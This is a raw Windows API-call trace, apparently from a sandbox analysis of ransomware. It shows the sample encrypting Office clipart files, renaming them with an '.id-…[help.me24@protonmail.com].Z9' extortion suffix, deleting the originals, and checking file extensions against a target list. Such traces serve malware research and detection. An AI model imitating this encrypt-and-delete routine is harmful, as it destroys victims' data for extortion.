	[0171.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.458] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.458] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0171.459] GetLastError () returned 0x0
	[0171.459] ReadFile (in: hFile=0x530, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x203c, lpOverlapped=0x0) returned 1
	[0171.461] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2040, lpOverlapped=0x0) returned 1
	[0171.462] ReadFile (in: hFile=0x530, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.462] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.462] SetEndOfFile (hFile=0x4a4) returned 1
	[0171.463] CloseHandle (hObject=0x4a4) returned 1
	[0171.463] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.463] SetEndOfFile (hFile=0x530) returned 1
	[0171.466] CloseHandle (hObject=0x530) returned 1
	[0171.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1
	[0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.469] lstrlenW (lpString=".doc") returned 4
	[0171.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.469] lstrlenW (lpString=".docx") returned 5
	[0171.469] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.469] lstrlenW (lpString=".pdf") returned 4
	[0171.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.469] lstrlenW (lpString=".xls") returned 4
	[0171.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.469] lstrlenW (lpString=".xlsx") returned 5
	[0171.469] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.469] lstrlenW (lpString=".ppt") returned 4
	[0171.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.469] lstrlenW (lpString=".zip") returned 4
	[0171.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.469] lstrlenW (lpString=".rar") returned 4
	[0171.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.469] lstrlenW (lpString=".bz2") returned 4
	[0171.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString=".7z") returned 3
	[0171.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.470] lstrlenW (lpString=".dbf") returned 4
	[0171.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.470] lstrlenW (lpString=".1cd") returned 4
	[0171.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.470] lstrlenW (lpString=".jpg") returned 4
	[0171.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.470] lstrlenW (lpString=".doc") returned 4
	[0171.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString=".docx") returned 5
	[0171.470] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.470] lstrlenW (lpString=".pdf") returned 4
	[0171.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString=".xls") returned 4
	[0171.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.470] lstrlenW (lpString=".xlsx") returned 5
	[0171.470] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.470] lstrlenW (lpString=".ppt") returned 4
	[0171.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.470] lstrlenW (lpString=".zip") returned 4
	[0171.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.470] lstrlenW (lpString=".rar") returned 4
	[0171.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.470] lstrlenW (lpString=".bz2") returned 4
	[0171.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.471] lstrlenW (lpString=".7z") returned 3
	[0171.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.471] lstrlenW (lpString=".dbf") returned 4
	[0171.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.471] lstrlenW (lpString=".1cd") returned 4
	[0171.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0171.471] lstrlenW (lpString=".jpg") returned 4
	[0171.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.471] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.471] lstrlenW (lpString="J0105390.WMF") returned 12
	[0171.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.472] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4944) returned 1
	[0171.925] CloseHandle (hObject=0x530) returned 1
	[0172.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220
	[0172.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.625] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.652] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0172.653] GetLastError () returned 0x0
	[0172.653] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1350, lpOverlapped=0x0) returned 1
	[0172.655] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0172.656] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.656] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.656] SetEndOfFile (hFile=0x52c) returned 1
	[0172.656] CloseHandle (hObject=0x52c) returned 1
	[0172.656] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.656] SetEndOfFile (hFile=0x544) returned 1
	[0172.659] CloseHandle (hObject=0x544) returned 1
	[0172.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1
	[0172.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.660] lstrlenW (lpString=".doc") returned 4
	[0172.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString=".docx") returned 5
	[0172.661] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.661] lstrlenW (lpString=".pdf") returned 4
	[0172.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString=".xls") returned 4
	[0172.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.661] lstrlenW (lpString=".xlsx") returned 5
	[0172.661] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.661] lstrlenW (lpString=".ppt") returned 4
	[0172.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.661] lstrlenW (lpString=".zip") returned 4
	[0172.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.661] lstrlenW (lpString=".rar") returned 4
	[0172.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString=".bz2") returned 4
	[0172.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString=".7z") returned 3
	[0172.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.661] lstrlenW (lpString=".dbf") returned 4
	[0172.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.661] lstrlenW (lpString=".1cd") returned 4
	[0172.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.661] lstrlenW (lpString=".jpg") returned 4
	[0172.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.661] lstrlenW (lpString=".doc") returned 4
	[0172.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.661] lstrlenW (lpString=".docx") returned 5
	[0172.662] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.662] lstrlenW (lpString=".pdf") returned 4
	[0172.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.662] lstrlenW (lpString=".xls") returned 4
	[0172.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.662] lstrlenW (lpString=".xlsx") returned 5
	[0172.662] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.662] lstrlenW (lpString=".ppt") returned 4
	[0172.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.662] lstrlenW (lpString=".zip") returned 4
	[0172.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.662] lstrlenW (lpString=".rar") returned 4
	[0172.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.662] lstrlenW (lpString=".bz2") returned 4
	[0172.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.662] lstrlenW (lpString=".7z") returned 3
	[0172.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.662] lstrlenW (lpString=".dbf") returned 4
	[0172.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.662] lstrlenW (lpString=".1cd") returned 4
	[0172.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0172.662] lstrlenW (lpString=".jpg") returned 4
	[0172.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.662] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.663] lstrlenW (lpString="J0105530.WMF") returned 12
	[0172.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.663] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=7384) returned 1
	[0172.663] CloseHandle (hObject=0x544) returned 1
	[0172.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220
	[0172.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.664] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.664] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0172.665] GetLastError () returned 0x0
	[0172.665] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0172.667] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1ce0, lpOverlapped=0x0) returned 1
	[0172.668] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.668] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.668] SetEndOfFile (hFile=0x52c) returned 1
	[0172.668] CloseHandle (hObject=0x52c) returned 1
	[0172.668] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.668] SetEndOfFile (hFile=0x544) returned 1
	[0172.671] CloseHandle (hObject=0x544) returned 1
	[0172.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1
	[0172.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.672] lstrlenW (lpString=".doc") returned 4
	[0172.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.672] lstrlenW (lpString=".docx") returned 5
	[0172.672] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.672] lstrlenW (lpString=".pdf") returned 4
	[0172.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.672] lstrlenW (lpString=".xls") returned 4
	[0172.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.672] lstrlenW (lpString=".xlsx") returned 5
	[0172.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.672] lstrlenW (lpString=".ppt") returned 4
	[0172.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.672] lstrlenW (lpString=".zip") returned 4
	[0172.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.672] lstrlenW (lpString=".rar") returned 4
	[0172.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString=".bz2") returned 4
	[0172.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString=".7z") returned 3
	[0172.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.673] lstrlenW (lpString=".dbf") returned 4
	[0172.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.673] lstrlenW (lpString=".1cd") returned 4
	[0172.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.673] lstrlenW (lpString=".jpg") returned 4
	[0172.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.673] lstrlenW (lpString=".doc") returned 4
	[0172.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString=".docx") returned 5
	[0172.673] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.673] lstrlenW (lpString=".pdf") returned 4
	[0172.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString=".xls") returned 4
	[0172.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.673] lstrlenW (lpString=".xlsx") returned 5
	[0172.673] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.673] lstrlenW (lpString=".ppt") returned 4
	[0172.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.673] lstrlenW (lpString=".zip") returned 4
	[0172.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.673] lstrlenW (lpString=".rar") returned 4
	[0172.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.674] lstrlenW (lpString=".bz2") returned 4
	[0172.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.674] lstrlenW (lpString=".7z") returned 3
	[0172.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.674] lstrlenW (lpString=".dbf") returned 4
	[0172.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.674] lstrlenW (lpString=".1cd") returned 4
	[0172.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0172.674] lstrlenW (lpString=".jpg") returned 4
	[0172.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.674] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.674] lstrlenW (lpString="J0105588.WMF") returned 12
	[0172.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.675] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=21548) returned 1
	[0172.676] CloseHandle (hObject=0x544) returned 1
